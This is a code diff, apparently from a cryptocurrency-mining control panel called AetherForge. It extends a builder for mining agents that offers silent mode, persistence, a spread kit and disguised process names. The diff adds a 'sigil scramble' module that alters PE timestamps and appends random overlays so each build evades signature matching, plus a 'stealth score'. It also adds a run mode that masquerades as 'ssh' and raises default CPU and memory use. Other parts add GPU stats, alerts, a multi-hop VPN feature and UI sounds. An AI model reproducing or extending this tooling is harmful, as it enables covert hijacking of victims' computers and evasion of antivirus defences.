h.notifyBuildComplete(zipName, req.WorkerName, zipBytes)
return BuildResponse{
Success: true,
@@ -229,6 +230,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
}); err != nil {
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
}
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes2)
return BuildResponse{
Success: true,

View File

@@ -15,6 +15,7 @@ import (
"sync"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
@@ -36,6 +37,7 @@ type BuildRequest struct {
DisplayMode string `json:"display_mode"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
HostBinaryTarget string `json:"host_binary_target"`
AutoStart bool `json:"auto_start"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
@@ -80,6 +82,7 @@ type BuildRequest struct {
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SigilScramble bool `json:"sigil_scramble"`
SignBuild bool `json:"sign_build"`
BackupPools []BackupPool `json:"backup_pools"`
// CancelToken is a client-generated UUID. Pass the same token to
@@ -126,6 +129,9 @@ type BuildResponse struct {
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
SigilScramble bool `json:"sigil_scramble,omitempty"`
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
StealthScore int `json:"stealth_score,omitempty"`
Error string `json:"error,omitempty"`
}
@@ -155,7 +161,8 @@ type Handler struct {
goWinresPath string
serverModDir string
policy BuildPolicy
fleetSecret string // injected from server config; baked into every forge output
fleetSecret string // injected from server config; baked into every forge output
eventNotifier *alerts.Notifier
// Active build cancellation — maps cancel_token → cancel func so the frontend
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
@@ -168,6 +175,19 @@ func (h *Handler) SetFleetSecret(secret string) {
h.fleetSecret = secret
}
func (h *Handler) SetEventNotifier(n *alerts.Notifier) {
h.eventNotifier = n
}
func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) {
if h.eventNotifier == nil {
return
}
sizeMB := float64(sizeBytes) / 1024 / 1024
h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge",
fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName))
}
// CancelBuild cancels an in-progress build identified by cancelToken.
// Returns true if the token was found and cancelled, false if unknown.
func (h *Handler) CancelBuild(cancelToken string) bool {
@@ -631,6 +651,23 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
}
}
scrambled := false
fingerprint := ""
if shouldSigilScramble(req) {
fp, err := ApplySigilScramble(finalPath, buildID)
if err != nil {
log.Printf("[Forge] sigil scramble: %v", err)
} else {
scrambled = true
fingerprint = fp
if exportPath != "" && exportPath != finalPath {
if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil {
_ = fp2
}
}
}
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
@@ -683,6 +720,8 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
}
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
resp := BuildResponse{
Success: true,
BuildID: buildID,
@@ -705,6 +744,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
SigilScramble: scrambled,
BinaryFingerprint: fingerprint,
StealthScore: StealthScore(obfuscated, scrambled, signed),
}
if fusionEnabled && bundleDownloadURL != "" {
resp.DownloadURL = bundleDownloadURL
@@ -810,7 +852,7 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
if req.MaxMemoryPct <= 0 {
req.MaxMemoryPct = 70
req.MaxMemoryPct = 85
}
if req.CPUPriority == "" {
req.CPUPriority = "below_normal"
@@ -821,11 +863,14 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.RunAs == "" {
req.RunAs = "user"
}
if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" {
req.HostBinaryTarget = "ssh"
}
if req.MaxCPUUsagePct <= 0 {
req.MaxCPUUsagePct = 80
req.MaxCPUUsagePct = 95
}
if req.MinFreeRAMMB <= 0 {
req.MinFreeRAMMB = 1024
req.MinFreeRAMMB = 512
}
if req.IdleThresholdPct <= 0 {
req.IdleThresholdPct = 20
@@ -983,8 +1028,9 @@ func GetBuiltinConfig() BuiltinConfig {
MiningMode: %q,
DisplayMode: %q,
SilentMode: %v,
RunAs: %q,
AutoStart: %v,
RunAs: %q,
HostBinaryTarget: %q,
AutoStart: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
@@ -1046,6 +1092,7 @@ func GetBuiltinConfig() BuiltinConfig {
req.DisplayMode,
req.SilentMode,
req.RunAs,
req.HostBinaryTarget,
req.AutoStart,
req.ProcessName,
buildID,

View File

@@ -0,0 +1,120 @@
package builder
import (
"crypto/sha256"
"encoding/binary"
"encoding/hex"
"fmt"
"hash/fnv"
"io"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
)
const sigilOverlayMagic = "AFSC\x01"
// ApplySigilScramble mutates the built binary so each dispense has a unique on-disk
// signature (overlay entropy + optional PE timestamp). Does not change runtime logic.
func ApplySigilScramble(path, buildID string) (fingerprint string, err error) {
if path == "" {
return "", fmt.Errorf("empty path")
}
data, err := os.ReadFile(path)
if err != nil {
return "", err
}
if len(data) == 0 {
return "", fmt.Errorf("empty binary")
}
seed := strings.TrimSpace(buildID)
if seed == "" {
seed = fmt.Sprintf("%d", time.Now().UnixNano())
}
rng := scrambleRNG(seed)
if isPEExecutable(path, data) {
data = patchPETimestamp(data, rng)
}
overlay := buildSigilOverlay(seed, rng)
data = append(data, overlay...)
if err := os.WriteFile(path, data, 0755); err != nil {
return "", err
}
sum := sha256.Sum256(data)
fingerprint = hex.EncodeToString(sum[:8])
return fingerprint, nil
}
func isPEExecutable(path string, data []byte) bool {
if !strings.EqualFold(filepath.Ext(path), ".exe") {
return false
}
return len(data) > 64 && data[0] == 'M' && data[1] == 'Z'
}
// patchPETimestamp adjusts the COFF header timestamp (bytes 8-11 after MZ).
func patchPETimestamp(data []byte, rng *rand.Rand) []byte {
out := make([]byte, len(data))
copy(out, data)
peOff := int(binary.LittleEndian.Uint32(out[0x3c:0x40]))
if peOff < 0 || peOff+8 > len(out) {
return out
}
if string(out[peOff:peOff+4]) != "PE\x00\x00" {
return out
}
ts := uint32(time.Now().Unix()) ^ uint32(rng.Intn(1<<20))
binary.LittleEndian.PutUint32(out[peOff+8:peOff+12], ts)
return out
}
func buildSigilOverlay(seed string, rng *rand.Rand) []byte {
padLen := 8192 + rng.Intn(57344)
buf := make([]byte, len(sigilOverlayMagic)+len(seed)+2+padLen)
copy(buf, sigilOverlayMagic)
buf[len(sigilOverlayMagic)] = byte(len(seed) & 0xff)
copy(buf[len(sigilOverlayMagic)+1:], []byte(seed))
off := len(sigilOverlayMagic) + 1 + len(seed)
for i := 0; i < padLen; i++ {
buf[off+i] = byte(rng.Intn(256))
}
return buf
}
func scrambleRNG(seed string) *rand.Rand {
h := fnv.New64a()
_, _ = io.WriteString(h, seed)
return rand.New(rand.NewSource(int64(h.Sum64())))
}
// StealthScore estimates how many uniqueness layers were applied (0100).
func StealthScore(obfuscated, scrambled, signed bool) int {
score := 35 // polymorph is always injected at compile time
if obfuscated {
score += 30
}
if scrambled {
score += 20
}
if signed {
score += 15
}
if score > 100 {
return 100
}
return score
}
func shouldSigilScramble(req *BuildRequest) bool {
if req.SigilScramble {
return true
}
return false
}

View File

@@ -0,0 +1,41 @@
package builder
import (
"os"
"path/filepath"
"testing"
)
func TestApplySigilScrambleChangesFile(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "worker.exe")
orig := []byte{'M', 'Z', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 'P', 'E', 0, 0, 0, 0, 0, 0}
if err := os.WriteFile(path, orig, 0755); err != nil {
t.Fatal(err)
}
fp1, err := ApplySigilScramble(path, "build-a")
if err != nil {
t.Fatal(err)
}
st1, _ := os.Stat(path)
fp2, err := ApplySigilScramble(path, "build-b")
if err != nil {
t.Fatal(err)
}
st2, _ := os.Stat(path)
if st1.Size() == st2.Size() && fp1 == fp2 {
t.Fatalf("expected different fingerprint/size got %s %s", fp1, fp2)
}
}
func TestStealthScore(t *testing.T) {
if StealthScore(true, true, true) < 90 {
t.Fatal("expected high score")
}
if StealthScore(false, false, false) != 35 {
t.Fatalf("got %d", StealthScore(false, false, false))
}
}

View File

@@ -126,6 +126,10 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_hashrate_15m REAL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
return nil
}
@@ -164,6 +168,14 @@ func (d *Database) UpdateAgentStats(id string, hashrate15s, hashrate1m, hashrate
return err
}
func (d *Database) UpdateAgentGPUStats(agentID string, hashrate float64, model string, active bool) error {
_, err := d.Exec(
`UPDATE agents SET gpu_hashrate_15m = ?, gpu_model = ?, gpu_miner_active = ? WHERE id = ?`,
hashrate, model, boolToInt(active), agentID,
)
return err
}
func (d *Database) SetAgentOffline(id string) error {
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE id = ?", id)
return err
@@ -276,13 +288,16 @@ func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
// Hashrate operations
func (d *Database) InsertHashrateSample(agentID string, hashrate float64) error {
_, err := d.Exec("INSERT INTO hashrate_samples (agent_id, hashrate, timestamp) VALUES (?, ?, ?)", agentID, hashrate, time.Now())
func (d *Database) InsertHashrateSample(agentID string, hashrate float64, gpuHashrate float64) error {
_, err := d.Exec(
"INSERT INTO hashrate_samples (agent_id, hashrate, gpu_hashrate, timestamp) VALUES (?, ?, ?, ?)",
agentID, hashrate, gpuHashrate, time.Now(),
)
return err
}
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
query := `SELECT id, agent_id, hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
query := `SELECT id, agent_id, hashrate, gpu_hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
rows, err := d.Query(query, agentID, limit)
if err != nil {
return nil, err
@@ -292,7 +307,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
var samples []*models.HashrateSample
for rows.Next() {
s := &models.HashrateSample{}
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.Timestamp); err != nil {
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.GPUHashrate, &s.Timestamp); err != nil {
return nil, err
}
samples = append(samples, s)
@@ -427,13 +442,14 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
// Stats
type FleetStats struct {
TotalAgents int `json:"total_agents"`
OnlineAgents int `json:"online_agents"`
TotalHashrate float64 `json:"total_hashrate"`
TotalShares int `json:"total_shares"`
AcceptedShares int `json:"accepted_shares"`
RejectedShares int `json:"rejected_shares"`
AcceptRate float64 `json:"accept_rate"`
TotalAgents int `json:"total_agents"`
OnlineAgents int `json:"online_agents"`
TotalHashrate float64 `json:"total_hashrate"`
TotalGPUHashrate float64 `json:"total_gpu_hashrate"`
TotalShares int `json:"total_shares"`
AcceptedShares int `json:"accepted_shares"`
RejectedShares int `json:"rejected_shares"`
AcceptRate float64 `json:"accept_rate"`
}
func (d *Database) GetFleetStats() (*FleetStats, error) {
@@ -454,6 +470,11 @@ func (d *Database) GetFleetStats() (*FleetStats, error) {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(gpu_hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalGPUHashrate)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_total), 0) FROM agents").Scan(&stats.TotalShares)
if err != nil {
return nil, err

View File

@@ -193,10 +193,10 @@ func TestHashrateSampleHistory(t *testing.T) {
d := openTestDB(t)
seedAgent(t, d, "hr-agent")
if err := d.InsertHashrateSample("hr-agent", 150.5); err != nil {
if err := d.InsertHashrateSample("hr-agent", 150.5, 0); err != nil {
t.Fatal(err)
}
if err := d.InsertHashrateSample("hr-agent", 200.0); err != nil {
if err := d.InsertHashrateSample("hr-agent", 200.0, 10.0); err != nil {
t.Fatal(err)
}

View File

@@ -117,10 +117,11 @@ type Share struct {
}
type HashrateSample struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
Hashrate float64 `json:"hashrate"`
Timestamp time.Time `json:"timestamp"`
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
Hashrate float64 `json:"hashrate"`
GPUHashrate float64 `json:"gpu_hashrate,omitempty"`
Timestamp time.Time `json:"timestamp"`
}
type Job struct {

View File

@@ -195,6 +195,12 @@ func main() {
}
}()
eventNotifier := alerts.NewNotifier(func() alerts.Settings {
return cfg.AlertSettings()
})
wsHub.SetEventNotifier(eventNotifier)
builderHandler.SetEventNotifier(eventNotifier)
// Fleet alert evaluator (thresholds from Calibrate → alerts config)
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
return alerts.Thresholds{
@@ -202,19 +208,8 @@ func main() {
HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct,
RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct,
}
}, func() alerts.NotifyConfig {
// Read live from cfg so Calibrate changes take effect without restart.
return alerts.NotifyConfig{
TelegramBotToken: cfg.Alerts.TelegramBotToken,
TelegramChatID: cfg.Alerts.TelegramChatID,
EmailEnabled: cfg.Alerts.EmailEnabled,
SMTPHost: cfg.Alerts.SMTPHost,
SMTPPort: cfg.Alerts.SMTPPort,
SMTPUser: cfg.Alerts.SMTPUser,
SMTPPassword: cfg.Alerts.SMTPPassword,
EmailTo: cfg.Alerts.EmailTo,
EmailFrom: cfg.Alerts.EmailFrom,
}
}, func() alerts.Settings {
return cfg.AlertSettings()
}, func(ev alerts.AlertEvent) {
wsHub.BroadcastFleetAlert(ev)
})
@@ -230,7 +225,7 @@ func main() {
}
}()
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg)
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir)
// Initialize blueprint handler (config presets)
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
@@ -244,12 +239,15 @@ func main() {
// Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
// Path Tracer: on-demand WireGuard multi-hop VPN builder
pathTracerHandler := api.NewPathTracerHandler(wsHub)
// Find web root for frontend
webRoot := findWebRoot()
log.Printf("Web root: %s", webRoot)
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, webRoot, cfg.DataDir, func() string {
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
})
log.Println("Router initialized")

View File

@@ -5,8 +5,11 @@
<link rel="icon" type="image/png" href="/af-logo.png" />
<link rel="shortcut icon" type="image/png" href="/af-logo.png" />
<link rel="apple-touch-icon" href="/af-logo.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover, maximum-scale=5" />
<meta name="theme-color" content="#c9a227" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
<meta name="format-detection" content="telephone=no" />
<title>AetherForge — Command Deck</title>
</head>
<body>

View File

@@ -12,6 +12,10 @@ vi.mock('./context/WebSocketProvider', () => ({
WebSocketProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
}));
vi.mock('./components/Sound/SoundBridge', () => ({
default: () => null,
}));
vi.mock('./context/ForgeContext', () => ({
ForgeProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
}));

View File

@@ -3,8 +3,11 @@ import { Routes, Route, Navigate } from 'react-router-dom';
import SessionGate from './components/SessionGate';
import Layout from './components/Layout/Layout';
import { WebSocketProvider } from './context/WebSocketProvider';
import { SoundProvider } from './context/SoundContext';
import { VisualEffectsProvider } from './context/VisualEffectsContext';
import { ForgeProvider } from './context/ForgeContext';
import { MatrixRainProvider } from './context/MatrixRainContext';
import SoundBridge from './components/Sound/SoundBridge';
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
@@ -13,6 +16,7 @@ const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
const GuidePage = lazy(() => import('./pages/GuidePage'));
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
export function PageFallback() {
return (
@@ -27,6 +31,9 @@ function App() {
// WebSocketProvider mounts a single WS connection shared by all routes.
// No page or component should call new WebSocket() directly — use useWebSocket().
<WebSocketProvider>
<SoundProvider>
<VisualEffectsProvider>
<SoundBridge />
<ForgeProvider>
<MatrixRainProvider>
<SessionGate>
@@ -42,12 +49,15 @@ function App() {
<Route path="/builds" element={<BuildManagerPage />} />
<Route path="/guide" element={<GuidePage />} />
<Route path="/settings" element={<SettingsPage />} />
<Route path="/pathtracer" element={<PathTracerPage />} />
</Routes>
</Suspense>
</Layout>
</SessionGate>
</MatrixRainProvider>
</ForgeProvider>
</VisualEffectsProvider>
</SoundProvider>
</WebSocketProvider>
);
}

View File

@@ -1,4 +1,4 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice } from '../types';
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
import { authHeaders } from './auth';
const API_BASE = '/api/v1';
@@ -136,6 +136,10 @@ export const api = {
// Fleet ops
getAlerts: () => fetchJSON<FleetAlert[]>('/alerts'),
testAlerts: () =>
fetchJSON<Record<string, { sent: boolean; error?: string }>>('/alerts/test', {
method: 'POST',
}),
getPoolStatus: () => fetchJSON<PoolStatus[]>('/pools/status'),
getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
getEarningsEstimate: (hashrate: number) =>
@@ -157,6 +161,22 @@ export const api = {
getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
downloadAgentLog: async (id: string): Promise<void> => {
const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, {
headers: { ...authHeaders() },
});
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `agent-${id.slice(0, 8)}.log`;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
},
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
method: 'PUT',
@@ -187,9 +207,44 @@ export const api = {
// XMR market price (server-side CoinGecko cache, refreshed every 10 min)
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
method: 'POST',
body: JSON.stringify({ agent_ids: agentIds }),
}),
getTraceStatus: (id: string) =>
fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`),
getTraceQR: (id: string) =>
fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`),
deleteTrace: (id: string) =>
fetchJSON<{ ok: boolean }>(`/pathtrace/${id}`, { method: 'DELETE' }),
// Cancel an in-progress forge build by its cancel token.
cancelBuild: (cancelToken: string) =>
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
method: 'DELETE',
}),
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
downloadBackup: async (): Promise<void> => {
const res = await fetch(`${API_BASE}/backup`, {
method: 'GET',
headers: { ...authHeaders() },
});
if (!res.ok) {
const err = await res.text();
throw new Error(`Backup failed ${res.status}: ${err}`);
}
const blob = await res.blob();
const disposition = res.headers.get('Content-Disposition') ?? '';
const match = disposition.match(/filename="([^"]+)"/);
const filename = match ? match[1] : 'aetherforge-backup.zip';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
a.click();
URL.revokeObjectURL(url);
},
};

View File

@@ -0,0 +1,79 @@
/**
* @vitest-environment happy-dom
*/
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import {
HapticEngine,
loadSoundEnabled,
loadSoundVolume,
SFX_STORAGE_KEY,
SFX_VOLUME_KEY,
} from './hapticEngine';
describe('hapticEngine prefs', () => {
beforeEach(() => {
localStorage.clear();
});
it('defaults sound on and volume ~0.4', () => {
expect(loadSoundEnabled()).toBe(true);
expect(loadSoundVolume()).toBeCloseTo(0.4);
});
it('persists enabled flag', () => {
const e = new HapticEngine();
e.setEnabled(false);
expect(localStorage.getItem(SFX_STORAGE_KEY)).toBe('0');
expect(loadSoundEnabled()).toBe(false);
});
it('clamps volume', () => {
const e = new HapticEngine();
e.setVolume(2);
expect(e.getVolume()).toBe(1);
e.setVolume(-1);
expect(e.getVolume()).toBe(0);
expect(localStorage.getItem(SFX_VOLUME_KEY)).toBe('0');
});
});
describe('HapticEngine.play', () => {
const vibrate = vi.fn();
beforeEach(() => {
vibrate.mockClear();
Object.defineProperty(navigator, 'vibrate', {
value: vibrate,
configurable: true,
writable: true,
});
});
afterEach(() => {
vi.restoreAllMocks();
});
it('does not vibrate when disabled', () => {
const e = new HapticEngine();
e.setEnabled(false);
e.play('click');
expect(vibrate).not.toHaveBeenCalled();
});
it('vibrates when enabled', () => {
const e = new HapticEngine();
e.setEnabled(true);
e.play('success');
expect(vibrate).toHaveBeenCalled();
});
it('play does not throw without AudioContext', () => {
const prev = globalThis.AudioContext;
// @ts-expect-error test shim
delete globalThis.AudioContext;
const e = new HapticEngine();
e.setEnabled(true);
expect(() => e.play('click')).not.toThrow();
globalThis.AudioContext = prev;
});
});

View File

@@ -0,0 +1,228 @@
/** UI + fleet event cues — synthesized via Web Audio (no asset files). */
export type SoundCue =
| 'click'
| 'nav'
| 'success'
| 'error'
| 'alert'
| 'alertCritical'
| 'share'
| 'connect'
| 'disconnect'
| 'online'
| 'offline';
export const SFX_STORAGE_KEY = 'aetherforge-sfx';
export const SFX_VOLUME_KEY = 'aetherforge-sfx-volume';
export function loadSoundEnabled(): boolean {
try {
const v = localStorage.getItem(SFX_STORAGE_KEY);
return v === null ? true : v === '1';
} catch {
return true;
}
}
export function loadSoundVolume(): number {
try {
const v = localStorage.getItem(SFX_VOLUME_KEY);
if (v === null) return 0.4;
const n = parseFloat(v);
return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.4;
} catch {
return 0.4;
}
}
function persistEnabled(enabled: boolean) {
try {
localStorage.setItem(SFX_STORAGE_KEY, enabled ? '1' : '0');
} catch {
/* ignore */
}
}
function persistVolume(volume: number) {
try {
localStorage.setItem(SFX_VOLUME_KEY, String(volume));
} catch {
/* ignore */
}
}
const VIBRATE: Partial<Record<SoundCue, number | number[]>> = {
click: 8,
nav: 12,
success: [12, 40, 18],
error: [30, 50, 80],
alert: [20, 30, 20],
alertCritical: [40, 60, 40, 80],
share: 14,
connect: [10, 25],
disconnect: [35, 20],
online: [15, 35],
offline: [25, 15],
};
type ToneSpec = {
freq: number;
duration: number;
type?: OscillatorType;
gain?: number;
delay?: number;
};
function vibrateFor(cue: SoundCue) {
if (typeof navigator === 'undefined' || !navigator.vibrate) return;
const pattern = VIBRATE[cue];
if (pattern !== undefined) navigator.vibrate(pattern);
}
export class HapticEngine {
private ctx: AudioContext | null = null;
private enabled = loadSoundEnabled();
private volume = loadSoundVolume();
private unlocked = false;
isEnabled() {
return this.enabled;
}
getVolume() {
return this.volume;
}
setEnabled(enabled: boolean) {
this.enabled = enabled;
persistEnabled(enabled);
}
setVolume(volume: number) {
this.volume = Math.min(1, Math.max(0, volume));
persistVolume(this.volume);
}
/** Browsers require a user gesture before audio plays. */
unlock() {
if (this.unlocked) return;
try {
const Ctx =
typeof window !== 'undefined'
? window.AudioContext ||
(window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext
: undefined;
if (!Ctx) return;
if (!this.ctx) this.ctx = new Ctx();
if (this.ctx.state === 'suspended') void this.ctx.resume();
this.unlocked = true;
} catch {
/* ignore */
}
}
play(cue: SoundCue) {
if (!this.enabled) return;
this.unlock();
vibrateFor(cue);
const specs = cueSpecs(cue);
if (!specs.length) return;
try {
const Ctx = window.AudioContext ||
(window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext;
if (!Ctx) return;
if (!this.ctx) this.ctx = new Ctx();
const ctx = this.ctx;
if (ctx.state === 'suspended') void ctx.resume();
const master = ctx.createGain();
master.gain.value = this.volume;
master.connect(ctx.destination);
const now = ctx.currentTime;
for (const spec of specs) {
this.scheduleTone(ctx, master, spec, now);
}
} catch {
/* Audio blocked or unavailable */
}
}
private scheduleTone(ctx: AudioContext, dest: GainNode, spec: ToneSpec, base: number) {
const osc = ctx.createOscillator();
const g = ctx.createGain();
const t0 = base + (spec.delay ?? 0);
const dur = spec.duration;
const peak = (spec.gain ?? 0.12) * this.volume;
osc.type = spec.type ?? 'sine';
osc.frequency.setValueAtTime(spec.freq, t0);
g.gain.setValueAtTime(0.0001, t0);
g.gain.exponentialRampToValueAtTime(Math.max(peak, 0.0001), t0 + 0.008);
g.gain.exponentialRampToValueAtTime(0.0001, t0 + dur);
osc.connect(g);
g.connect(dest);
osc.start(t0);
osc.stop(t0 + dur + 0.02);
}
}
function cueSpecs(cue: SoundCue): ToneSpec[] {
switch (cue) {
case 'click':
return [{ freq: 920, duration: 0.04, type: 'square', gain: 0.06 }];
case 'nav':
return [
{ freq: 440, duration: 0.05, gain: 0.07 },
{ freq: 660, duration: 0.06, delay: 0.04, gain: 0.06 },
];
case 'success':
return [
{ freq: 523, duration: 0.08, gain: 0.1 },
{ freq: 784, duration: 0.1, delay: 0.07, gain: 0.09 },
];
case 'error':
return [
{ freq: 180, duration: 0.12, type: 'sawtooth', gain: 0.11 },
{ freq: 140, duration: 0.14, delay: 0.1, type: 'sawtooth', gain: 0.09 },
];
case 'alert':
return [
{ freq: 740, duration: 0.07, type: 'triangle', gain: 0.09 },
{ freq: 620, duration: 0.08, delay: 0.09, type: 'triangle', gain: 0.08 },
];
case 'alertCritical':
return [
{ freq: 880, duration: 0.06, type: 'square', gain: 0.1 },
{ freq: 660, duration: 0.06, delay: 0.07, type: 'square', gain: 0.1 },
{ freq: 440, duration: 0.1, delay: 0.14, type: 'square', gain: 0.11 },
];
case 'share':
return [
{ freq: 1200, duration: 0.05, gain: 0.08 },
{ freq: 1600, duration: 0.06, delay: 0.05, gain: 0.07 },
];
case 'connect':
return [
{ freq: 330, duration: 0.07, gain: 0.08 },
{ freq: 495, duration: 0.09, delay: 0.06, gain: 0.08 },
];
case 'disconnect':
return [
{ freq: 400, duration: 0.1, gain: 0.08 },
{ freq: 260, duration: 0.12, delay: 0.08, gain: 0.07 },
];
case 'online':
return [
{ freq: 587, duration: 0.07, gain: 0.08 },
{ freq: 880, duration: 0.09, delay: 0.06, gain: 0.07 },
];
case 'offline':
return [
{ freq: 440, duration: 0.09, gain: 0.07 },
{ freq: 330, duration: 0.1, delay: 0.07, gain: 0.06 },
];
default:
return [];
}
}
export const hapticEngine = new HapticEngine();

View File

@@ -1,70 +1,17 @@
import { FlowerOfLifeWatermark, SacredMotif } from '../Visual/sacredGeometry/motifs';
import GlowParticles from './GlowParticles';
import './AmbientBackground.css';
/** Slow-rotating sacred geometry SVG — Flower of Life circles inscribed in a pentagram ring */
function SacredGeometry() {
